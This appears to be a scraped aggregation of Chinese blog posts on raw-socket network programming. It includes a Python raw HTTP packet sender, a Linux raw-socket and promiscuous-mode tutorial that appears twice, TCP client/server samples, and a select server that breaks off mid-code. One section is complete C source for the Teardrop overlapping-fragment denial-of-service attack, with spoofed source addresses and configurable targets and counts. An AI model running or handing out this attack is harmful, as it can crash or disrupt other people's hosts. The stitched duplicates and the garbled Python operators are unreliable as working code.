精华内容
下载资源
问答
  • 原始套接字编程

    2018-09-14 20:39:24
    linux原始套接字编程,利用原始套接字实现arp请求和接收源代码
  • 这篇文章主要介绍了Python原始套接字编程实例解析,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下在实验中需要自己构造单独的HTTP数据报文,而使用SOCK_STREAM...

    这篇文章主要介绍了Python原始套接字编程实例解析,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下

    在实验中需要自己构造单独的HTTP数据报文,而使用SOCK_STREAM进行发送数据包,需要进行完整的TCP交互。

    因此想使用原始套接字进行编程,直接构造数据包,并在IP层进行发送,即采用SOCK_RAW进行数据发送。

    使用SOCK_RAW的优势是,可以对数据包进行完整的修改,可以处理IP层上的所有数据包,对各字段进行修改,而不受UDP和TCP的限制。

    下面开始构造HTTP数据包,

    IP层和TCP层使用python的Impacket库,http内容自行填写。

    #!/usr/bin/env python

    #-------------------------------------------------------------------------------

    # Name: raw_http.py

    # Purpose: construct a raw http get packet

    # Author: Yangjun

    # Created: 08/02/2014

    # Copyright: (c) Yangjun 2014

    # Licence: your licence

    #-------------------------------------------------------------------------------

    import sys

    import socket

    from impacket import ImpactDecoder, ImpactPacket

    def main():

    if len(sys.argv) 3:

    print "Use: %s src ip dst ip " % sys.argv[0]

    print "Use: %s src ip dst ip cnt " % sys.argv[0]

    sys.exit(1)

    elif len(sys.argv) == 3:

    src = sys.argv[1]

    dst = sys.argv[2]

    cnt = 1

    elif len(sys.argv) ==4:

    src = sys.argv[1]

    dst = sys.argv[2]

    cnt = sys.argv[3]

    else:

    print "Input error!"

    sys.exit(1)

    #print src, dst

    ip = ImpactPacket.IP()

    ip.set_ip_src(src)

    ip.set_ip_dst(dst)

    # Create a new ICMP packet of type ECHO.

    icmp = ImpactPacket.ICMP()

    tcp = ImpactPacket.TCP()

    tcp.set_th_sport(55968)

    tcp.set_th_dport(80)

    tcp.set_th_seq(1)

    tcp.set_th_ack(1)

    tcp.set_th_flags(0x18)

    tcp.set_th_win(64)

    tcp.contains( ImpactPacket.Data("GET /att/DIYLife/41264/528 HTTP/1.1\r\nHost: 192.168.111.1\r\nAccept-Encoding: identity\r\n\r\n"))

    ip.contains(tcp)

    # Open a raw socket. Special permissions are usually required.

    s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)

    s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)

    seq_id = 0

    while cnt = 1:

    # Calculate its checksum.

    seq_id = seq_id + 1

    tcp.set_th_seq(seq_id)

    tcp.calculate_checksum()

    # Send it to the target host.

    s.sendto(ip.get_packet(), (dst,80))

    cnt= cnt -1

    if __name__ == '__main__':

    main()

    运行后抓包如下:

    以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持IIS7站长之家。

    转载:非常欢迎各位朋友分享到个人站长或者朋友圈,但转载请说明文章出处“黎青松SEO博客”。

    展开全文
  • 第5讲 数据报套接字编程与原始套接字编程.pdf 适合初学者学习使用
  • linux 原始套接字 编程

    2013-09-01 17:24:07
    linux 原始套接字 编程
  • 主要介绍了Python原始套接字编程实例解析,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友可以参考下
  • Linux网络编程——原始套接字编程

    万次阅读 多人点赞 2015-03-27 17:47:16
    原始套接字编程和之前的 UDP 编程差不多,无非就是创建一个套接字后,通过这个套接字接收数据或者发送数据。区别在于,原始套接字可以自行组装数据包(伪装本地 IP,本地 MAC),可以接收本机网卡上所有的数据帧...

    原始套接字编程和之前的 UDP 编程差不多,无非就是创建一个套接字后,通过这个套接字接收数据或者发送数据。区别在于,原始套接字可以自行组装数据包(伪装本地 IP,本地 MAC),可以接收本机网卡上所有的数据帧(数据包)另外,必须在管理员权限下才能使用原始套接字。


    原始套接字的创建

    int socket ( int family, int type, int protocol );

    参数:

    family:协议族 这里写 PF_PACKET

    type:  套接字类,这里写 SOCK_RAW

    protocol:协议类别,指定可以接收或发送的数据包类型,不能写 “0”,取值如下,注意,传参时需要用 htons() 进行字节序转换。

    ETH_P_IP:IPV4数据包

    ETH_P_ARP:ARP数据包

    ETH_P_ALL:任何协议类型的数据包

    返回值:

    成功( >0 ):套接字,这里为链路层的套接字

    失败( <0 ):出错


    实例如下:

    // 所需头文件
    #include <sys/socket.h>
    #include <netinet/ether.h>
    #include <stdio.h>  // perror
    
    int main(int argc,char *argv[])
    {
    	int sock_raw_fd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL) );
    
    	if(sock_raw_fd < 0){
    		perror("socket");
    		return -1;
    	}
    	
    	return 0;
    }


    获取链路层的数据包

    ssize_t recvfrom(  int sockfd, 

    void *buf, 

    size_t nbytes,

    int flags,

    struct sockaddr *from, 

    socklen_t *addrlen );

    参数:

    sockfd:原始套接字

    buf接收数据缓冲区

    nbytes:接收数据缓冲区的大小

    flags套接字标志(常为0)

    from这里没有用,写 NULL

    addrlen:这里没有用,写 NULL

    返回值:

    成功:接收到的字符数

    失败:-1


    实例如下:

    #include <stdio.h>
    #include <netinet/in.h>
    #include <sys/socket.h>
    #include <netinet/ether.h>
    
    int main(int argc,char *argv[])
    {
    	unsigned char buf[1024] = {0};
    	int sock_raw_fd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    
    	//获取链路层的数据包
    	int len = recvfrom(sock_raw_fd, buf, sizeof(buf), 0, NULL, NULL);
    	printf("len = %d\n", len);
    
    	return 0;
    }

    混杂模式

    默认的情况下,我们接收数据,目的地址是本地地址,才会接收。有时候我们想接收所有经过网卡的所有数据流,而不论其目的地址是否是它,这时候我们需要设置网卡为混杂模式


    网卡的混杂模式一般在网络管理员分析网络数据作为网络故障诊断手段时用到,同时这个模式也被网络黑客利用来作为网络数据窃听的入口。在 Linux 操作系统中设置网卡混杂模式时需要管理员权限。在 Windows 操作系统和 Linux 操作系统中都有使用混杂模式的抓包工具,比如著名的开源软件 Wireshark。


    通过命令给 Linux 网卡设置混杂模式(需要管理员权限)

    设置混杂模式:ifconfig eth0 promisc



    取消混杂模式:ifconfig eth0 -promisc



    通过代码给 Linux 网卡设置混杂模式



    代码如下:

    struct ifreq req;	//网络接口地址
    	
    strncpy(req.ifr_name, "eth0", IFNAMSIZ);			//指定网卡名称
    if(-1 == ioctl(sock_raw_fd, SIOCGIFINDEX, &req))	//获取网络接口
    {
    	perror("ioctl");
    	close(sock_raw_fd);
    	exit(-1);
    }
    
    req.ifr_flags |= IFF_PROMISC;
    if(-1 == ioctl(sock_raw_fd, SIOCSIFINDEX, &req))	//网卡设置混杂模式
    {
    	perror("ioctl");
    	close(sock_raw_fd);
    	exit(-1);
    }

    发送自定义的数据包:

    ssize_t sendto(   int sockfd,

    const void *buf,

    size_t nbytes,int flags,

    const struct sockaddr *to,        

    socklen_t addrlen );

    参数:

    sockfd原始套接字

    buf发送数据缓冲区

    nbytes:发送数据缓冲区的大小

    flags一般为 0

    to本机网络接口,指发送的数据应该从本机的哪个网卡出去,而不是以前的目的地址

    addrlen:to 所指向内容的长度

    返回值:

    成功:发送数据的字符数

    失败: -1


    本机网络接口的定义



    发送完整代码如下:

    struct sockaddr_ll sll;					//原始套接字地址结构
    struct ifreq req;					//网络接口地址
    
    strncpy(req.ifr_name, "eth0", IFNAMSIZ);			//指定网卡名称
    if(-1 == ioctl(sock_raw_fd, SIOCGIFINDEX, &req))	//获取网络接口
    {
    	perror("ioctl");
    	close(sock_raw_fd);
    	exit(-1);
    }
    
    /*将网络接口赋值给原始套接字地址结构*/
    bzero(&sll, sizeof(sll));
    sll.sll_ifindex = req.ifr_ifindex;
    
    // 发送数据
    // send_msg, msg_len 这里还没有定义,模拟一下
    int len = sendto(sock_raw_fd, send_msg, msg_len, 0 , (struct sockaddr *)&sll, sizeof(sll));
    if(len == -1)
    {
    	perror("sendto");
    }

    这里头文件情况如下:

    #include <net/if.h>// struct ifreq
    #include <sys/ioctl.h> // ioctl、SIOCGIFADDR
    #include <sys/socket.h> // socket
    #include <netinet/ether.h> // ETH_P_ALL
    #include <netpacket/packet.h> // struct sockaddr_ll


    展开全文
  • 原始套接字编程源码

    2011-09-13 15:23:50
    原始套接字编程源码 SOCKET编程 AnalyzeETH_WinPcap
  • 网络编程,原始套接字编程实验实验。具体功能如下: IP首部的构造;基于原始套接字的分片ICMP ECHO请求发送功能;基于原始套接字的ICMP ECHO响应接收功能;重叠分片的发送功能; 可以用来测试windows系统和Linux系统...
  • 原始套接字编程和之前的 UDP 编程差不多,无非就是创建一个套接字后,通过这个套接字接收数据或者发送数据。区别在于,原始套接字可以自行组装数据包(伪装本地 IP,本地 MAC),可以接收本机网卡上所有的数据帧...

    原始套接字编程和之前的 UDP 编程差不多,无非就是创建一个套接字后,通过这个套接字接收数据或者发送数据。区别在于,原始套接字可以自行组装数据包(伪装本地 IP,本地 MAC),可以接收本机网卡上所有的数据帧(数据包)另外,必须在管理员权限下才能使用原始套接字。


    原始套接字的创建

    int socket ( int family, int type, int protocol );

    参数:

    family:协议族 这里写 PF_PACKET

    type:  套接字类,这里写 SOCK_RAW

    protocol:协议类别,指定可以接收或发送的数据包类型,不能写 “0”,取值如下,注意,传参时需要用 htons() 进行字节序转换。

    ETH_P_IP:IPV4数据包

    ETH_P_ARP:ARP数据包

    ETH_P_ALL:任何协议类型的数据包

    返回值:

    成功( >0 ):套接字,这里为链路层的套接字

    失败( <0 ):出错


    实例如下:

    // 所需头文件
    #include <sys/socket.h>
    #include <netinet/ether.h>
    #include <stdio.h>  // perror
    
    int main(int argc,char *argv[])
    {
    	int sock_raw_fd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL) );
    
    	if(sock_raw_fd < 0){
    		perror("socket");
    		return -1;
    	}
    	
    	return 0;
    }


    获取链路层的数据包

    ssize_t recvfrom(  int sockfd, 

    void *buf, 

    size_t nbytes,

    int flags,

    struct sockaddr *from, 

    socklen_t *addrlen );

    参数:

    sockfd:原始套接字

    buf接收数据缓冲区

    nbytes:接收数据缓冲区的大小

    flags套接字标志(常为0)

    from这里没有用,写 NULL

    addrlen:这里没有用,写 NULL

    返回值:

    成功:接收到的字符数

    失败:-1


    实例如下:

    #include <stdio.h>
    #include <netinet/in.h>
    #include <sys/socket.h>
    #include <netinet/ether.h>
    
    int main(int argc,char *argv[])
    {
    	unsigned char buf[1024] = {0};
    	int sock_raw_fd = socket(PF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
    
    	//获取链路层的数据包
    	int len = recvfrom(sock_raw_fd, buf, sizeof(buf), 0, NULL, NULL);
    	printf("len = %d\n", len);
    
    	return 0;
    }


    混杂模式

    默认的情况下,我们接收数据,目的地址是本地地址,才会接收。有时候我们想接收所有经过网卡的所有数据流,而不论其目的地址是否是它,这时候我们需要设置网卡为混杂模式


    网卡的混杂模式一般在网络管理员分析网络数据作为网络故障诊断手段时用到,同时这个模式也被网络黑客利用来作为网络数据窃听的入口。在 Linux 操作系统中设置网卡混杂模式时需要管理员权限。在 Windows 操作系统和 Linux 操作系统中都有使用混杂模式的抓包工具,比如著名的开源软件 Wireshark。


    通过命令给 Linux 网卡设置混杂模式(需要管理员权限)

    设置混杂模式:ifconfig eth0 promisc



    取消混杂模式:ifconfig eth0 -promisc



    通过代码给 Linux 网卡设置混杂模式



    代码如下:

    struct ifreq req;	//网络接口地址
    	
    strncpy(req.ifr_name, "eth0", IFNAMSIZ);			//指定网卡名称
    if(-1 == ioctl(sock_raw_fd, SIOCGIFINDEX, &req))	//获取网络接口
    {
    	perror("ioctl");
    	close(sock_raw_fd);
    	exit(-1);
    }
    
    req.ifr_flags |= IFF_PROMISC;
    if(-1 == ioctl(sock_raw_fd, SIOCSIFINDEX, &req))	//网卡设置混杂模式
    {
    	perror("ioctl");
    	close(sock_raw_fd);
    	exit(-1);
    }



    发送自定义的数据包:

    ssize_t sendto(   int sockfd,

    const void *buf,

    size_t nbytes,int flags,

    const struct sockaddr *to,        

    socklen_t addrlen );

    参数:

    sockfd原始套接字

    buf发送数据缓冲区

    nbytes:发送数据缓冲区的大小

    flags一般为 0

    to本机网络接口,指发送的数据应该从本机的哪个网卡出去,而不是以前的目的地址

    addrlen:to 所指向内容的长度

    返回值:

    成功:发送数据的字符数

    失败: -1


    本机网络接口的定义



    发送完整代码如下:

    [cpp] view plain copy
     在CODE上查看代码片派生到我的代码片
    1. struct sockaddr_ll sll;                 //原始套接字地址结构  
    2. struct ifreq req;                   //网络接口地址  
    3.   
    4. strncpy(req.ifr_name, "eth0", IFNAMSIZ);            //指定网卡名称  
    5. if(-1 == ioctl(sock_raw_fd, SIOCGIFINDEX, &req))    //获取网络接口  
    6. {  
    7.     perror("ioctl");  
    8.     close(sock_raw_fd);  
    9.     exit(-1);  
    10. }  
    11.   
    12. /*将网络接口赋值给原始套接字地址结构*/  
    13. bzero(&sll, sizeof(sll));  
    14. sll.sll_ifindex = req.ifr_ifindex;  
    15.   
    16. // 发送数据  
    17. // send_msg, msg_len 这里还没有定义,模拟一下  
    18. int len = sendto(sock_raw_fd, send_msg, msg_len, 0 , (struct sockaddr *)&sll, sizeof(sll));  
    19. if(len == -1)  
    20. {  
    21.     perror("sendto");  
    22. }  

    这里头文件情况如下:


    #include <net/if.h>// struct ifreq
    #include <sys/ioctl.h> // ioctl、SIOCGIFADDR
    #include <sys/socket.h> // socket
    #include <netinet/ether.h> // ETH_P_ALL
    #include <netpacket/packet.h> // struct sockaddr_ll



    展开全文
  • 原始套接字编程&SOCKET应用实例一、Teardrop代码编程1.1 实验代码1.2 编译及运行1.3 抓包结果二、SOCKET应用实例2.1 查看服务器ip2.2 服务器及客户端代码2.3 编译文件 一、Teardrop代码编程 1.1 实验代码 代码为...

    一、Teardrop代码编程

    1.1 实验代码

    代码为“网络编程技术”参考书上 “2.11 原始套接字编程”中的Teardrop代码编程

    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <string.h>
    #include <netdb.h>
    #include <netinet/in.h>
    #include <netinet/udp.h>
    #include <arpa/inet.h>
    #include <sys/types.h>
    #include <sys/time.h>
    #include <sys/socket.h>
    #include <errno.h>
    
    #ifdef STRANGE_BSD_BYTE_ORDERING_THING
    /* OpenBSD < 2.1, all FreeBSD and netBSD, BSDi < 3.0 */
    #define FIX(n)  (n)
    #else  
    /* OpenBSD 2.1, all Linux */
    #define FIX(n)  htons(n)
    #endif  /* STRANGE_BSD_BYTE_ORDERING_THING */
    
    #define IP_MF 0x2000  /* More IP fragment en route */
    #define IPH 0x14    /* IP header size */
    #define UDPH 0x8     /* UDP header size */
    #define PADDING  0x1c    /* datagram frame padding for first packet */
    #define MAGIC  0x3     /* Magic Fragment Constant (tm).  Should be 2 or 3 */
    #define COUNT 0x1      /* Linux dies with 1, NT is more stalwart and can
                            * withstand maybe 5 or 10 sometimes...  Experiment.*/
                        
    
    void usage(u_char *);
    u_long name_resolve(u_char *);
    void send_frags(int, u_long, u_long, u_short, u_short);
    
    
    int main(int argc, char **argv)
    {
        int one = 1, count = 0, i, rip_sock;
        // 定义源地址和目的地址
        u_long src_ip = 0, dst_ip = 0;
        // 定义源端口和目的端口
        u_short src_prt = 0, dst_prt = 0;
        // 定义一个32位的IPv4地址
        struct in_addr addr;
        printf("teardrop route|daemon9\n\n");
        //创建原始套接字
        if((rip_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0)
        {
            fprintf(stderr, "raw socket");
            exit(1);
        }
        //设置套接字选项IP_HDRINCL
        if (setsockopt(rip_sock, IPPROTO_IP, IP_HDRINCL,
        (char *)&one, sizeof(one))< 0)
        {
            fprintf(stderr, "IP_HDRINCL");
            exit(1);
        }
        if (argc < 3)
            usage(argv[0]);
        // 设置源IP 和 目的IP
        if(!(src_ip=name_resolve(argv[1]))||!(dst_ip = name_resolve(argv[2])))
        {
            fprintf(stderr, "What the hell kind of IP address is that?\n");
            exit(1);
        }
        while ((i = getopt(argc, argv, "s:t:n:")) != EOF)
        {
            switch (i)
            {
                case 's': // source port (should be emphemeral)
                src_prt = (u_short)atoi(optarg);
                break;
                case 't': // dest port (DNS, anyone?)
                dst_prt = (u_short)atoi(optarg);
                break;
                case 'n': // number to send
                count = atoi(optarg);
                break;
                default :
                usage(argv[0]);
                break; // NOTREACHED
            }
        }
        srandom((unsigned)(utimes("0",(time_t)0)));
        if (!src_prt) src_prt = (random() % 0xffff);
        if (!dst_prt) dst_prt = (random() % 0xffff);
        if (!count)
        count = COUNT;
        printf("Death on flaxen wings:\n");
        addr.s_addr = src_ip;
        printf("From: %15s.%5d\n", inet_ntoa(addr), src_prt);
        addr.s_addr = dst_ip;
        printf(" To: %15s.%5d\n", inet_ntoa(addr), dst_prt);
        printf(" Amt: %5d\n", count);
        printf("[\n ");
        for (i = 0; i < count; i++)
        {
            send_frags(rip_sock, src_ip, dst_ip, src_prt, dst_prt);
            // printf("b00m ");
            usleep(500);
        }
        printf("]\n");
        return (0);
    }
    
    
    // 设置 IP 包的内容
    void send_frags(int sock, u_long src_ip, u_long dst_ip,u_short src_prt,u_short dst_prt)
    {
        u_char *packet = NULL, *p_ptr = NULL, *flag = NULL; // packet pointers
        u_char byte; // a byte
        // 套接字地址结构
        struct sockaddr_in sin; /* socket protocol structure */
        sin.sin_family = AF_INET;
        sin.sin_port = src_prt;
        sin.sin_addr.s_addr = dst_ip;
        packet = (u_char *)malloc(IPH + UDPH + PADDING);
        p_ptr = packet;
        flag = packet;
        bzero((u_char *)p_ptr, IPH + UDPH + PADDING);
        // IP version and header length
        byte = 0x45;
        memcpy(p_ptr, &byte, sizeof(u_char));
        p_ptr += 2; // IP TOS (skipped)
        // total length
        *((u_short *)p_ptr) = FIX(IPH + UDPH + PADDING);
        p_ptr += 2;
        *((u_short *)p_ptr) = htons(242); // IP id
        p_ptr += 2;
        //IP frag flags and offset
        *((u_short *)p_ptr) |= FIX(IP_MF);
        p_ptr += 2;
        *((u_short *)p_ptr) = 0x40; // IP TTL
        byte = IPPROTO_UDP;
        memcpy(p_ptr + 1, &byte, sizeof(u_char));
        // IP checksum filled in by kernel
        p_ptr += 4;
        // IP source address
        *((u_long *)p_ptr) = src_ip;
        p_ptr += 4;
        // IP destination address
        *((u_long *)p_ptr) = dst_ip;
        p_ptr += 4;
        *((u_short *)p_ptr) = htons(src_prt); // UDP source port
        p_ptr += 2;
        *((u_short *)p_ptr) = htons(dst_prt); // UDP destination port
        p_ptr += 2;
        *((u_short *)p_ptr) = htons(PADDING); // UDP total length
        p_ptr += 4;
        
        // 发送数据:Fake News
        *((u_short *)p_ptr) = 0x46;
        p_ptr++;
        *((u_short *)p_ptr) = 0x61;
        p_ptr++;
        *((u_short *)p_ptr) = 0x6B;
        p_ptr++;
        *((u_short *)p_ptr) = 0x65;
        p_ptr++;
        *((u_short *)p_ptr) = 0x20;
        p_ptr++;
        *((u_short *)p_ptr) = 0x4E;
        p_ptr++;
        *((u_short *)p_ptr) = 0x65;
        p_ptr++;
        *((u_short *)p_ptr) = 0x77;
        p_ptr++;
        *((u_short *)p_ptr) = 0x73;
    
        int i=1;
        while(i <= 56)
        {
    	printf("%x\t",*flag);
    	flag++;
            if(0 == i%8)
    	    printf("\n");
            i++;
        }
    
        if (sendto(sock, packet, IPH + UDPH + PADDING, 0,
        (struct sockaddr *)&sin,sizeof(struct sockaddr)) == -1)
        {
            fprintf(stderr, "\nsendto");
            free(packet);
            exit(1);
        }
        // IP total length is 2 bytes into the header
        p_ptr = &packet[2];
        *((u_short *)p_ptr) = FIX(IPH + MAGIC + 1);
        // IP offset is 6 bytes into the header
        p_ptr += 4;
        *((u_short *)p_ptr) = FIX(MAGIC);
        if (sendto(sock, packet, IPH+MAGIC+1, 0,
        (struct sockaddr *)&sin,sizeof(struct sockaddr)) == -1)
        {
            fprintf(stderr, "\nsendto");
            free(packet);
            exit(1);
        }
        free(packet);
    }
    
    
    // 获取主机信息
    u_long name_resolve(u_char *host_name)
    {
        struct in_addr addr;
        struct hostent *host_ent;
        if ((addr.s_addr = inet_addr(host_name)) == -1)
        {
            if (!(host_ent = gethostbyname(host_name))) return (0);
                bcopy(host_ent->h_addr, (char *)&addr.s_addr, host_ent->h_length);
        }
        return (addr.s_addr);
    }
    
    
    void usage(u_char *name)
    {
        fprintf(stderr, "%s src_ip dst_ip [ -s src_prt ] [ -t dst_prt ] [ -n how_many ]\n",name);
        exit(0);
    }
    

    1.2 编译及运行

    在这里插入图片描述
    在这里插入图片描述

    1.3 抓包结果

    在这里插入图片描述

    二、SOCKET应用实例

    2.1 查看服务器ip

    2.2 服务器及客户端代码

    服务器

    #include <stdio.h> 
    #include <stdlib.h> 
    #include <unistd.h> 
    #include <errno.h> 
    #include <string.h> 
    #include <sys/types.h> 
    #include <sys/socket.h> 
    #include <netinet/in.h> 
    #include <netdb.h> 
    #include <arpa/inet.h> 
    #include <sys/wait.h> 
    #include <signal.h> 
    #define PORT "9090" // the port users will be connecting to 
    #define BACKLOG 10 
    // how many pending connections queue will hold 
    void sigchld_handler(int s) 
    { 
    	while(waitpid(-1, NULL, WNOHANG) > 0); 
    }
    // get sockaddr, IPv4 or IPv6: 
    void *get_in_addr(struct sockaddr *sa) 
    { 
        if (sa->sa_family == AF_INET) { 
        	return &(((struct sockaddr_in*)sa)->sin_addr); 
        }
    	return &(((struct sockaddr_in6*)sa)->sin6_addr); 
    }
    int main(void) 
    { 
        int sockfd, new_fd; // listen on sock_fd, new connection on new_fd 
        struct addrinfo hints, *servinfo, *p; 
        struct sockaddr_storage their_addr; // connector's address information 
        socklen_t sin_size; 
        struct sigaction sa; 
        int yes=1;
        char s[INET6_ADDRSTRLEN]; 
        int rv; 
        memset(&hints, 0, sizeof hints); 
        hints.ai_family = AF_UNSPEC; 
        hints.ai_socktype = SOCK_STREAM; 
        hints.ai_flags = AI_PASSIVE; // use my IP 
        if ((rv = getaddrinfo(NULL, PORT, &hints, &servinfo)) != 0) { 
            fprintf(stderr, "getaddrinfo: %s\n", gai_strerror(rv)); 
            return 1; 
    	}
    // loop through all the results and bind to the first we can 
        for(p = servinfo; p != NULL; p = p->ai_next) { 
        if ((sockfd = socket(p->ai_family, p->ai_socktype, 
        p->ai_protocol)) == -1) { 
            perror("server: socket"); 
            continue; 
        }
        if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, 
        sizeof(int)) == -1) { 
            perror("setsockopt"); 
            exit(1); 
        }
        if (bind(sockfd, p->ai_addr, p->ai_addrlen) == -1) { 
            close(sockfd); 
            perror("server: bind"); 
            continue; 
        }
        break; 
    }
        if (p == NULL) { 
            fprintf(stderr, "server: failed to bind\n"); 
            return 2; 
        }
        freeaddrinfo(servinfo); // all done with this structure 
        if (listen(sockfd, BACKLOG) == -1) { 
            perror("listen"); 
            exit(1); 
        }
        sa.sa_handler = sigchld_handler; // reap all dead processes 
        sigemptyset(&sa.sa_mask); 
        sa.sa_flags = SA_RESTART; 
        if (sigaction(SIGCHLD, &sa, NULL) == -1) { 
            perror("sigaction"); 
            exit(1); 
        }
        printf("server: waiting for connections...\n"); 
        while(1) { // main accept() loop 
            sin_size = sizeof their_addr; 
            new_fd = accept(sockfd, (struct sockaddr *)&their_addr, &sin_size); 
            if (new_fd == -1) { 
                perror("accept"); 
                continue; 
            }
            inet_ntop(their_addr.ss_family, 
            get_in_addr((struct sockaddr *)&their_addr), 
            s, sizeof s); 
            printf("server: got connection from %s\n", s); 
            if (!fork()) { // this is the child process 
                close(sockfd); // child doesn't need the listener 
                if (send(new_fd, "Hello, world!", 13, 0) == -1) 
                perror("send"); 
                close(new_fd); 
                exit(0); 
            }
            close(new_fd); // parent doesn't need this 
        }
        return 0; 
    }
    

    客户端

    #include <stdio.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <errno.h>
    #include <string.h>
    #include <netdb.h>
    #include <sys/types.h>
    #include <netinet/in.h>
    #include <sys/socket.h>
    #include <arpa/inet.h>
    
    #define PORT "9090"  //the port client will be connecting to
    #define MAXDATASIZE 100  //max number of bytes we can get at once
    
    //get sockaddr, IPv4 or IPv6
    void *get_in_addr(struct sockaddr *sa)
    {
    	if(sa->sa_family == AF_INET)
    	{
    		return &(((struct sockaddr_in*)sa)->sin_addr);
    	}
    	return &(((struct sockaddr_in6*)sa)->sin6_addr);
    }
    
    int main(int argc, char *argv[])
    {
    	int sockfd, numbytes;
    	char buf[MAXDATASIZE];
    	struct addrinfo hints, *servinfo, *p;
    	int rv;
    	char s[INET6_ADDRSTRLEN];
    	if(argc != 2)
    	{
    		fprintf(stderr, "usage:client hostname\n");
    		exit(1);
    	}
    	memset(&hints, 0, sizeof hints);
    	hints.ai_family = AF_UNSPEC;
    	hints.ai_socktype = SOCK_STREAM;
    	if((rv = getaddrinfo(argv[1], PORT, &hints, &servinfo)) != 0)
    	{
    		fprintf(stderr, "getaddrinfo:%s\n",gai_strerror(rv));
    		return 1;
    	}
        // loop through all the results and connect to the first we can 
    	for(p = servinfo; p != NULL; p = p->ai_next)
    	{
    		if((sockfd = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) == -1)
    		{
    			perror("client:socket");
    			continue;
    		}
    		if(connect(sockfd, p->ai_addr, p->ai_addrlen) == -1)
    		{
    			close(sockfd);
    			perror("client:connect");
    			continue;
    		}
    		break;
    	}
    	if(p == NULL)
    	{
    		fprintf(stderr, "client:failed to connect\n");
    		return 2;
    	}
    	inet_ntop(p->ai_family, get_in_addr((struct sockaddr*)p->ai_addr), s, sizeof s);
    	printf("client:connecting to %s\n",s);
    	freeaddrinfo(servinfo);// all done with this structure 
    	if((numbytes = recv(sockfd, buf, MAXDATASIZE-1, 0)) == -1)
    	{
    		perror("recv");
    		exit(1);
    	}
    	buf[numbytes] = '\0';
    	printf("client:received %s\n",buf);
    	close(sockfd);
    	return 0;
    }
    

    2.3 编译文件

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    #include <sys/types.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #include <netdb.h>
    
    #define PORT "9090"  //port we're listening on
    
    //get sockaddr,IPv4 or IPv6:
    void *get_in_addr(struct sockaddr *sa)
    {
        if(sa->sa_family == AF_INET){
            return &(((struct sockaddr_in*)sa)->sin_addr);
        }
        return &(((struct sockaddr_in6*)sa)->sin6_addr);
    }
    
    int main(void)
    {
        fd_set master; 
        // master file descriptor list 
        fd_set read_fds; // temp file descriptor list for select() 
        int fdmax; 
        // maximum file descriptor number
        int listener; 
        // listening socket descriptor 
        int newfd; 
        // newly accept()ed socket descriptor 
        struct sockaddr_storage remoteaddr; // client address 
        socklen_t addrlen; 
        char buf[256]; 
        // buffer for client data 
        int nbytes; 
        char remoteIP[INET6_ADDRSTRLEN]; 
        int yes=1; 
        // for setsockopt() SO_REUSEADDR, below 
        int i, j, rv; 
        struct addrinfo hints, *ai, *p; 
        FD_ZERO(&master); 
        // clear the master and temp sets 
        FD_ZERO(&read_fds); 
        // get us a socket and bind it 
        memset(&hints, 0, sizeof hints); 
        hints.ai_family = AF_UNSPEC; 
        hints.ai_socktype = SOCK_STREAM; 
        hints.ai_flags = AI_PASSIVE; 
        if((rv = getaddrinfo(NULL, PORT, &hints, &ai)) != 0)
        {
            fprintf(stderr, "selectserver:%s\n", gai_strerror(rv));
            exit(1);
        }
    
        for(p = ai; p != NULL; p = p->ai_next)
        {
            listener = socket(p->ai_family, p->ai_socktype, p->ai_protocol);
            if(listener < 0)
            {
                continue;
            }
            // lose the pesky "address already in use" error message 
            setsockopt(listener, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int));
            if(bind(listener, p->ai_addr, p->ai_addrlen) < 0)
            {
                close(listener);
                continue;
            }
            break;
        }
    	// if we got here, it means we didn't get bound 
        if(p == NULL)
        {
            fprintf(stderr, "selectserver:failed to bind\n");
            exit(2);
        }
    
        freeaddrinfo(ai);  // all done with this 
        // listen
        if(listen(listener, 10) == -1)
        {
            perror("listen");
            exit(3);
        }
        // add the listener to the master set 
        FD_SET(listener, &master);
    	// keep track of the biggest file descriptor 
        fdmax = listener;  // so far, it's this one 
    	// main loop 
        for(;;)
        {
            read_fds = master; // copy it 
            if(select(fdmax + 1, &read_fds, NULL, NULL, NULL) == -1)
            {
                perror("select");
                exit(4);
            }
    		// run through the existing connections looking for data to read 
            for(i = 0; i <= fdmax; i++)
            {
                if(FD_ISSET(i, &read_fds))// we got one!!
                {
                    if(i == listener)
                    {
                        // handle new connections
                        addrlen = sizeof remoteaddr;
                        newfd = accept(listener, (struct sockaddr *)&remoteaddr, &addrlen);
    
                        if(newfd == -1)
                        {
                            perror("accept");
                        }
                        else
                        {
                            FD_SET(newfd, &master); // add to master set 
                            if(newfd > fdmax)
                            {
                                // keep track of the max 
                                fdmax = newfd;
                            }
                            printf("selectserver: new connection from %s on " 
                            "socket %d\n", 
                            inet_ntop(remoteaddr.ss_family, 
                            get_in_addr((struct sockaddr*)&remoteaddr), 
                            remoteIP, INET6_ADDRSTRLEN), 
                            newfd); 
                        }
                    }
                    else
                    {
                        // handle data from a client 
                        if((nbytes = recv(i, buf, sizeof buf, 0)) <= 0)
                        {
                            // got error or connection closed by client 
                            if(nbytes == 0)
                            {
                                // connection closed 
                                printf("selectserver:socket %d hung up\n", i);
                            }
                            else
                            {
                                perror("recv");
                            }
                            close(i);// bye! 
                            FD_CLR(i, &master);// remove from master set 
                        }
                        else
                        {
                            // we got some data from a client 
                            for(j =0; j <= fdmax; j++)
                            {
    			    			// send to everyone! 
                                if(FD_ISSET(j, &master))
                                {
                                     // except the listener and ourselves 
                                    if(j != listener && j != i)
                                    {
